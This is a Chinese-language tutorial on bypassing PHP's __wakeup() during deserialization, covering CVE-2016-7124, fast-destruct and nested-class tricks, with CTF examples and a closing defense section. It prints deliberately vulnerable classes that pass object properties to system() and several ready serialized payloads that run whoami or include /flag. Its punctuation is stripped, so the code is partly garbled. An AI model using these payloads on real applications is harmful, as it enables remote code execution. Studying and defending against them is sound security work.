PHP反序列化实战:从CVE-2016-7124到fast-destruct,手把手教你绕过__wakeup()
PHP反序列化实战从CVE-2016-7124到fast-destruct手把手教你绕过__wakeup()在Web安全领域PHP反序列化漏洞一直是CTF比赛和实战渗透中的高频考点。而__wakeup()魔术方法作为开发者常用的防御手段如何有效绕过它成为了安全研究人员必须掌握的技能。本文将带你从漏洞原理到实战操作系统性地构建绕过__wakeup()的攻击思维。1. 理解PHP反序列化与__wakeup()机制PHP反序列化漏洞的核心在于当不可信数据被unserialize()函数处理时攻击者可以通过精心构造的序列化字符串触发对象注入进而执行任意代码。而__wakeup()作为PHP的魔术方法之一会在对象反序列化完成后自动调用常被开发者用来进行安全检查和数据过滤。典型防御场景示例class User { public $username; public $is_admin false; public function __wakeup() { // 强制重置管理员权限 $this-is_admin false; } public function __destruct() { if ($this-is_admin) { system($this-username); } } }在这个案例中即使攻击者通过序列化数据设置了is_admintrue__wakeup()也会在反序列化后立即重置该值看似完美防御。但实际上存在多种方法可以绕过这种保护。2. CVE-2016-7124属性数量不一致绕过这是最经典的__wakeup()绕过方法影响特定版本的PHPPHP5 5.6.25、PHP7 7.0.10。其原理是当序列化字符串中声明的属性数量与实际不符时会导致反序列化异常从而跳过__wakeup()的执行。实战操作步骤正常序列化payloadO:4:User:2:{s:8:username;s:3:whoami;s:7:is_admin;b:1;}修改属性数量实现绕过O:4:User:999:{s:8:username;s:3:whoami;s:7:is_admin;b:1;}关键点数字999远大于实际属性数量本例为2这会触发PHP的异常处理机制。在受影响版本中对象仍会被创建但__wakeup()不会执行而__destruct()仍会正常调用。CTF应用实例 在2022年某CTF比赛中题目给出了以下类定义class Flag { private $token; public function __wakeup() { die(No way!); } public function __destruct() { if ($this-token SECRET) { include(/flag); } } }解法就是构造属性数量不一致的payloadO:4:Flag:999:{s:11:Flagtoken;s:6:SECRET;}3. Fast-destruct技术深度解析当目标环境不在CVE-2016-7124影响范围内时fast-destruct技术就派上用场了。这种方法利用PHP的垃圾回收(GC)机制通过破坏序列化数据结构来提前触发__destruct()。两种核心实现方式3.1 删除末尾花括号原始payloada:2:{i:0;O:4:User:1:{s:7:is_admin;b:1;}i:1;s:4:test;}攻击payload注意缺少最后的}a:2:{i:0;O:4:User:1:{s:7:is_admin;b:1;}i:1;s:4:test;3.2 数组指针破坏通过修改数组索引制造冲突a:2:{i:0;O:4:User:1:{s:7:is_admin;b:1;}i:0;s:4:test;}原理对比表方法影响版本可靠性适用场景花括号删除全版本中等简单对象数组指针破坏全版本高嵌套结构属性数量修改特定版本最高CTF题目实战技巧 在愚人杯3rd [easy_php]题目中参赛者需要结合这两种技术首先构造基础payload然后通过删除分号或修改数组索引触发fast-destruct最终绕过所有安全检查获取shell4. 高级绕过技巧组合应用在实际复杂环境中往往需要组合多种技术才能成功绕过防御。4.1 嵌套类攻击当目标类包含其他类作为属性时可以精心设计破坏内部类的结构class System { public $cmd; public function __destruct() { system($this-cmd); } } class Wrapper { public $obj; public function __wakeup() { $this-obj null; } }攻击payload破坏内部类结构O:7:Wrapper:2:{s:3:obj;O:6:System:999:{s:3:cmd;s:6:whoami;}}4.2 利用PHP 7.4的__unserialize()PHP 7.4引入的新魔术方法__unserialize()优先级高于__wakeup()。如果类中同时定义了两个方法__wakeup()会被完全忽略。开发建议class SecureClass { public function __unserialize(array $data) { // 安全的反序列化逻辑 } public function __wakeup() { // 作为备用方案 } }5. 防御方案与最佳实践了解了攻击手法后开发者应当采取以下防御措施输入验证永远不要反序列化不可信数据使用JSON等更安全的格式替代序列化代码设计class SafeExample { private $data; public function __wakeup() { $this-validate(); } public function __unserialize(array $data) { $this-data $data; $this-validate(); } private function validate() { // 严格的类型和值检查 } }运行时保护设置unserialize_callback_func进行全局监控使用PHP的Suhosin扩展增强保护在最近参与的一个企业级应用中我们发现即使采用了所有已知防御措施攻击者仍可能通过精心构造的GC回收攻击绕过防护。这提醒我们安全是一个持续的过程需要不断更新防护策略。